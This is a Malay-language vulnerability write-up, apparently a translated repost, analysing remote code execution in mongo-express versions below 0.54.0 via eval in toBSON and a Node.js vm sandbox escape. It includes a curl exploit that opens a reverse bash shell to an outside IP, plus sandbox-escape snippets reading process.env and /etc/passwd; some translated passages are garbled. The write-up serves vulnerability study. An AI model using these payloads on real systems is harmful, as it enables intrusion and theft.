Rumah > Artikel > Operasi dan penyelenggaraan > Analisis kes kelemahan pelaksanaan kod jauh
mongo-express ialah antara muka pengurusan Web Pentadbir MongoDB, ditulis menggunakan NodeJS, Express dan Bootstrap3. Pada masa ini, mongo-express sepatutnya menjadi antara muka pengurusan pentadbir MongoDB dengan paling banyak bintang di Github. Mudah digunakan dan mudah digunakan, ia telah menjadi pilihan ramai orang untuk menguruskan mongo.
Membaca buletin keselamatan GitHub rasmi , kami mendapati Kerentanan menjejaskan semua versi di bawah 0.54.0. Kami memilih 0.49 sebagai contoh untuk ujian Memandangkan persekitaran kerentanan ini juga memerlukan pangkalan data MongoDB, kami boleh membinanya dengan cepat dengan melaksanakan arahan docker berikut:
Bina pangkalan data MongoDB<br>
docker run --name test -d mongo:3.2
Bina mongo-express yang mengandungi kerentanan dan sambungkan ke pangkalan data MongoDB di atas: <br>
docker run -d -p 8081:8081 --link test:mongo mongo-express:0.49
Semak log untuk mengesahkan bahawa sambungan adalah berjaya.
Helah diperlukan di sini Jika anda ingin menyahpepijat nodej, anda perlu menambah -. -periksa parameter apabila bermula. Buat pengubahsuaian berikut pada skrip permulaan docker
docker restart 183
Guna docker exec -it 183 bash untuk menyambung ke docker untuk menyemak sama ada perkhidmatan nyahpepijat dihidupkan
Buka sahaja port 9229 seperti yang ditunjukkan dalam gambar di atas. Selagi hos luaran boleh menyambung ke port 9229, anda boleh menggunakan pemalam krom untuk nyahpepijat Anda boleh menggunakan frp untuk memajukan port, atau menggunakan parameter docker -p 9229:9229 untuk pemprosesan.
Menggunakan pemalam chrome, anda boleh nyahpepijat nodej seperti menyahpepijat skrip javascript, dan ia juga sangat mudah untuk dikendalikan.
Muat turun pemalam nyahpepijat dahulu
Buka about:inspect in chrome devtools telah menyokong penyahpepijatan Nodejs pada Mei 2016, klik Buka DevTools khusus untuk Nod
Konfigurasikan alamat sambungan dan port
Langkah seterusnya adalah seperti menyahpepijat js
Hantar paket ujian, cawangan penghalaan boleh diputuskan sambungan, dan kemudian mula menyahpepijat kelemahan ini.
<br>rrree
curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" bash -i >& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'
rentetan ialah parameter toBSON BSON ialah format data biasa dalam MongoDB dan merupakan saudara terdekat JSON. tetapi Terdapat banyak perbezaan daripada format data JSON Walau bagaimanapun, semua operasi berkaitan BSON dalam mongo-express, seperti mencipta dokumen baharu (serupa dengan operasi sisipan dalam pangkalan data lain), perlu melalui fungsi toBSON().
Contohnya, operasi berikutApabila aliran kod mencapai bson.toBSON, fungsi eval akan dicetuskan kerana nodejs boleh digunakan sebagai a bahasa back-end, fungsi eval berjalan pada bahagian pelayan boleh menyebabkan suntikan arahan dan membahayakan sistem.
<br>
<br>exp.checkValid = fungsi (req, res) {var doc = req.body.document;cuba { bson.toBSON(doc);} tangkap (err) { console.error(err); res.send('Invalid');}res.send('Sah'); };
<br>
exports.toBSON = fungsi (rentetan) { var kotak pasir = exports.getSandbox(); string = string.replace(/ISODate(/g, 'new ISODate('); string = string.replace(/Binary(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),'); vm.runInNewContext('doc = eval((' + string + '));', kotak pasir); return sandbox.doc;};
Menurut analisis sumber kod, rentetan parameter toBSON ialah dokumen dalam req.body, jadi kami boleh mengawal bahagian ini. Anda boleh menemui fungsi vm.runInNewContext, iaitu kotak pasir maya. Oleh itu, kami akan menganalisis cara memintas perlindungan kotak pasir dalam bahagian seterusnya.
Kotak pasir ialah persekitaran bebas yang boleh melaksanakan kod tidak dipercayai dengan selamat tanpa menjejaskan kod luaran sebenar. Pelaksanaan kod selalunya dihadkan dalam kotak pasir. Modul VM menyediakan API untuk menyusun dan menjalankan kod dalam konteks mesin maya VM. Gunakan modul VM untuk menjalankan kod dalam persekitaran kotak pasir. Kod berjalan menggunakan konteks V8 yang berbeza, iaitu pembolehubah globalnya berbeza daripada kod lain. Tetapi kod dalam kotak pasir masih boleh mengakses proses Node. Kami sering menggunakan kaedah ini untuk memintas.
vm.js
<br>
<br>
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(` this.constructor.constructor('return this.process.env')()`);console.log(xyz);
Anda boleh lihat this.process.env Maklumat proses nodejs diperoleh, yang menunjukkan bahawa adalah mungkin untuk beralih kembali ke program utama untuk melaksanakan arahan sistem.
Dalam javascript ini menunjuk ke objek yang dimilikinya, jadi apabila kita menggunakannya, ia sudah menunjuk ke objek di luar konteks VM. Kemudian .constructor yang mengakses ini mengembalikan Object Constructor, dan .constructor yang mengakses Object Constructor mengembalikan Function constructor. Pembina fungsi adalah seperti fungsi tertinggi dalam javascript yang membolehkan akses global. Pembina Fungsi membenarkan penjanaan fungsi daripada rentetan, dengan itu melaksanakan kod sewenang-wenangnya. Jadi kita boleh menggunakannya untuk kembali ke proses utama. Kami kemudiannya boleh menggunakannya untuk mengakses proses utama dan melaksanakan RCE.
<br>
<br>
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);console.log(xyz);
Begitu juga, fungsi vm2 juga boleh dipintas , Mari kaji dengan merujuk kepada teks asal https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
Berikut ialah dua gambar untuk menggambarkan segala-galanya Gunakan mongo-query-parser untuk menghuraikan data BSON dan menggantikannya terus daripada sumber.
Atas ialah kandungan terperinci Analisis kes kelemahan pelaksanaan kod jauh. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!